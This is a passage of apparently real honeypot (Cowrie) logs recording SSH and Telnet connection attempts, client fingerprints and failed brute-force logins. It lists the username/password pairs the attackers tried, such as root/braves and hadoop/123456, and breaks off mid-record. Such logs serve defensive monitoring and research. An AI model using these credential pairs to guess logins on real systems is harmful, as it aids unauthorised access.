{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.831920Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.836850Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42666,"dst_ip":"10.17.0.5","dst_port":23,"session":"6db8fa0fb468","protocol":"telnet","message":"New connection: 152.42.224.71:42666 (10.17.0.5:23) [session: 6db8fa0fb468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:46.257956Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":35262,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b0d566f86b7","protocol":"ssh","message":"New connection: 23.249.28.115:35262 (159.203.135.109:22) [session: 1b0d566f86b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:46.637068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:46.641332Z","src_ip":"23.249.28.115","session":"1b0d566f86b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42670,"dst_ip":"10.17.0.5","dst_port":23,"session":"c99a2af14de5","protocol":"telnet","message":"New connection: 152.42.224.71:42670 (10.17.0.5:23) [session: c99a2af14de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:46.775879Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:46.831365Z","src_ip":"23.249.28.115","session":"1b0d566f86b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"braves","message":"login attempt [root/braves] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:47.627421Z","src_ip":"23.249.28.115","session":"1b0d566f86b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57132,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc8b41f1b36","protocol":"ssh","message":"New connection: 176.65.132.129:57132 (159.203.135.109:22) [session: 6dc8b41f1b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:48.319740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:48.324765Z","src_ip":"176.65.132.129","session":"6dc8b41f1b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:48.410391Z","src_ip":"176.65.132.129","session":"6dc8b41f1b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:48.656711Z","src_ip":"176.65.132.129","session":"6dc8b41f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:48.820652Z","src_ip":"23.249.28.115","session":"1b0d566f86b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:49.744930Z","src_ip":"176.65.132.129","session":"6dc8b41f1b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"f492a85ddb4f","protocol":"ssh","message":"New connection: 176.65.132.129:57150 (159.203.135.109:22) [session: f492a85ddb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:51.521218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:51.525366Z","src_ip":"176.65.132.129","session":"f492a85ddb4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:51.607309Z","src_ip":"176.65.132.129","session":"f492a85ddb4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:51.852829Z","src_ip":"176.65.132.129","session":"f492a85ddb4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":51682,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb65f72f1fd","protocol":"ssh","message":"New connection: 45.132.125.41:51682 (159.203.135.109:22) [session: cfb65f72f1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.067826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.076542Z","src_ip":"45.132.125.41","session":"cfb65f72f1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.178149Z","src_ip":"45.132.125.41","session":"cfb65f72f1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43642,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ed49be9457","protocol":"telnet","message":"New connection: 152.42.224.71:43642 (10.17.0.5:23) [session: 41ed49be9457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.468433Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.617413Z","src_ip":"45.132.125.41","session":"cfb65f72f1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"51be4d73156f","protocol":"telnet","message":"New connection: 152.42.224.71:43652 (10.17.0.5:23) [session: 51be4d73156f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.693859Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:52.937321Z","src_ip":"176.65.132.129","session":"f492a85ddb4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172114372253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:53.115924Z","src_ip":"152.42.224.71","session":"d95c4be28ca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:53.721639Z","src_ip":"45.132.125.41","session":"cfb65f72f1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.43603825569153,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:54.364542Z","src_ip":"152.42.224.71","session":"9c7cea59c48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57164,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ababb0ee64","protocol":"ssh","message":"New connection: 176.65.132.129:57164 (159.203.135.109:22) [session: 26ababb0ee64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:54.749768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:54.759974Z","src_ip":"176.65.132.129","session":"26ababb0ee64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:54.844383Z","src_ip":"176.65.132.129","session":"26ababb0ee64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:55.279233Z","src_ip":"176.65.132.129","session":"26ababb0ee64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":58102,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfadde7ea90a","protocol":"ssh","message":"New connection: 101.32.240.31:58102 (159.203.135.109:22) [session: dfadde7ea90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:55.880485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:55.885660Z","src_ip":"101.32.240.31","session":"dfadde7ea90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:56.117727Z","src_ip":"101.32.240.31","session":"dfadde7ea90a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:56.364488Z","src_ip":"176.65.132.129","session":"26ababb0ee64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41638,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c970db4a760","protocol":"telnet","message":"New connection: 152.42.224.71:41638 (10.17.0.5:23) [session: 6c970db4a760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:56.666292Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"isar123","message":"login attempt [root/isar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:57.073926Z","src_ip":"101.32.240.31","session":"dfadde7ea90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51368,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bdc0ba9102","protocol":"ssh","message":"New connection: 176.65.132.129:51368 (159.203.135.109:22) [session: 44bdc0ba9102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:58.118625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:58.127287Z","src_ip":"176.65.132.129","session":"44bdc0ba9102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:58.211211Z","src_ip":"176.65.132.129","session":"44bdc0ba9102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:58.310548Z","src_ip":"101.32.240.31","session":"dfadde7ea90a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:58.462106Z","src_ip":"176.65.132.129","session":"44bdc0ba9102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:59.549069Z","src_ip":"176.65.132.129","session":"44bdc0ba9102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51382,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c05493b75a4","protocol":"ssh","message":"New connection: 176.65.132.129:51382 (159.203.135.109:22) [session: 6c05493b75a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:01.331917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:01.337299Z","src_ip":"176.65.132.129","session":"6c05493b75a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-s